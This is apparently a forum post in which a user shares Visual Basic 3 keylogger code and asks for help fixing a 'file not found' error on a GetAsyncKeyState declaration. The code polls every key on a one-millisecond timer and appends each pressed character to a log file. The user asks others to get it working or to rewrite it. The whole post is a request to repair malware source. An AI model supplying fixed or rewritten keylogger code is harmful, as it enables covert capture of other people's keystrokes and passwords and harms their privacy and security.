Ok its a key Logger.....
Keep in mind i can't use "public" in declarations because i have vb3

In general as a function I have


Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


In the form1 load event... I have

Sub Form_Load ()
Timer1.Interval = 1
Timer1.Enabled = True

End Sub

In Timer1 I have

Sub Timer1_Timer ()
For i = 1 To 255
x = GetAsyncKeyState(i)
If x > 0 Then
Open "\flag\logs\Keylog.Log" For Append As #1
Print #1, (Chr(i))
Close #1
End If
Next i

End Sub


Now I keep getting a file not found error for GetAsyncKeyState........Any Suggestions? If not can you try to rewrite it another way so i can get it working. thanks im bushed.